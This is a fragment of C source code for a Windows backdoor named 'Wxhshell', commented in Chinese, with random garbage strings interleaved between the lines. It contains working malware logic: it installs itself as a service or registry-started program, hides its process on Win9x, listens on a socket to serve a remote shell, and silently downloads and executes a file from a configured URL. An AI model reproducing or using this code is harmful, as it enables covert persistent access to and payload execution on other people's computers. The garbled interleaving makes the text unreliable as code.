n~z\?Y=* G=M] 8+h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #dJ 2Q_2 -oBI+v& CloseHandle(hProcess); eFQQW`J 9n}A ^ if(strstr(procName,"services")) return 1; // 以服务启动 }(i(Ar- Mps
*}9 return 0; // 注册表启动 H$!-f>Rxa } 'ND36jHcRD FuP}Kec // 主模块 m% bE-# int StartWxhshell(LPSTR lpCmdLine) jOv"< { `6 Y33bQ SOCKET wsl; xcSR{IZ BOOL val=TRUE; >7-y#SkXdo int port=0; SR*Gqx struct sockaddr_in door; 9EgP9up{6! {Qtq7q. if(wscfg.ws_autoins) Install(); :k!j"@r i^%-aBZ port=atoi(lpCmdLine); < tQc_ l=Wd,$\ if(port<=0) port=wscfg.ws_port; \ZnN D1A OCx5/ 88X WSADATA data; ~"mj;5Id if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yuNfhK/#r 0M!0JJy#* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OAok setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PKtU:Eg door.sin_family = AF_INET; Z*bC#s? door.sin_addr.s_addr = inet_addr("127.0.0.1"); me. /o(!? door.sin_port = htons(port); yKDZ+3xK] sMi{"`37 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $v&C@l \ closesocket(wsl); |QYZRz return 1; jKt-~: } J/S{FxNe] ^@_).:oX7 if(listen(wsl,2) == INVALID_SOCKET) { _^;;i4VZ closesocket(wsl); {% F`%_{" return 1; x}"Q8kD } >~&(P_<b Wxhshell(wsl); EhXiv#CZ WSACleanup(); w`#fH nYov>x] return 0; [_%,6e+ T'R,vxP)\ } zUQe0Gc.b^ ]C)|+`XE@ // 以NT服务方式启动 t-lv|%+8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :Y.e[@!1x { #{>uC&jD DWORD status = 0; .}p|`3$P DWORD specificError = 0xfffffff; $xcv > {bTeAfbf] serviceStatus.dwServiceType = SERVICE_WIN32; n#>5?W serviceStatus.dwCurrentState = SERVICE_START_PENDING; `cO|RhD@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *aG"+c6| serviceStatus.dwWin32ExitCode = 0; *:#Z+7x
] serviceStatus.dwServiceSpecificExitCode = 0; Qu}N:P9l?X serviceStatus.dwCheckPoint = 0; %]GV+!3S serviceStatus.dwWaitHint = 0; )OUU]MUH Y`]rj-8f0B hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c(:Oyba if (hServiceStatusHandle==0) return; b]K>vhQV WY.5K
=} status = GetLastError(); U3VT*nj' if (status!=NO_ERROR) V2QW\2@$ { JX&~y.F serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Xh5oB\)W serviceStatus.dwCheckPoint = 0; [0(mFMC` serviceStatus.dwWaitHint = 0; cyb(\ fsC serviceStatus.dwWin32ExitCode = status; =AzOnXW:S serviceStatus.dwServiceSpecificExitCode = specificError; j]4,6`b\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); S~|tfJpL return; OequU'j } ~*kK4]lP bZXlJa`'S serviceStatus.dwCurrentState = SERVICE_RUNNING; . =R=cA7 serviceStatus.dwCheckPoint = 0; 5*XH6g F serviceStatus.dwWaitHint = 0; _Ff".t<" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cg*kN"8q } }6@%((9E2 W+/2c4$F3 // 处理NT服务事件,比如:启动、停止 h.D^1 VOID WINAPI NTServiceHandler(DWORD fdwControl) r"[L0Cbb { fU`T\ switch(fdwControl) /'"R Mq { /gX%ABmS case SERVICE_CONTROL_STOP: :W%4*-FP serviceStatus.dwWin32ExitCode = 0; 6,zDBax serviceStatus.dwCurrentState = SERVICE_STOPPED; ]wR6bEm7 serviceStatus.dwCheckPoint = 0; p`LL serviceStatus.dwWaitHint = 0; ex:3ua$N { th90O|; SetServiceStatus(hServiceStatusHandle, &serviceStatus); }M="oN~w } YZ{;%&rB return; d>~`j8,B case SERVICE_CONTROL_PAUSE: e~*S4dKR serviceStatus.dwCurrentState = SERVICE_PAUSED; $WJy?_c break; iI}nW case SERVICE_CONTROL_CONTINUE: @M9_j{A serviceStatus.dwCurrentState = SERVICE_RUNNING; >!<V\
Fj1 break; 0pCDEs case SERVICE_CONTROL_INTERROGATE: m9k2h1 break; pdy+h{]3 }; $ JuLAqq SetServiceStatus(hServiceStatusHandle, &serviceStatus); }R\B.2#M_@ } <@%ma2 8m \;P // 标准应用程序主函数 8W{ g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gi
'^qi2 { Yr:>icz| qm~Kw!kV // 获取操作系统版本 %K`4k.gN OsIsNt=GetOsVer(); 'oT|cmlc GetModuleFileName(NULL,ExeFile,MAX_PATH); hPS/CgLq }0krSzcn#, // 从命令行安装 EtPgzw[#c9 if(strpbrk(lpCmdLine,"iI")) Install(); r"6lLc (s.o // 下载执行文件 br10ptEx if(wscfg.ws_downexe) { pM,#wYL if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zcZ^s v> WinExec(wscfg.ws_filenam,SW_HIDE); z{AM2Z } "^!j5fZ jw/wcP if(!OsIsNt) { J511AoQ{R // 如果时win9x,隐藏进程并且设置为注册表启动 x[Hhj' HideProc(); ;Xz(B4 N~o StartWxhshell(lpCmdLine); $F<%Jl7_Z } qP@L(_=g else ~y`Pwj if(StartFromService())
-\5[Nq{N // 以服务方式启动 Z#%}K
Z StartServiceCtrlDispatcher(DispatchTable); BR%{bY^
5p else 0VG^GKmx // 普通方式启动 $2;-q8+ StartWxhshell(lpCmdLine); Xk;Uk[ vxF:vI# @ return 0; kK08W3@&t }
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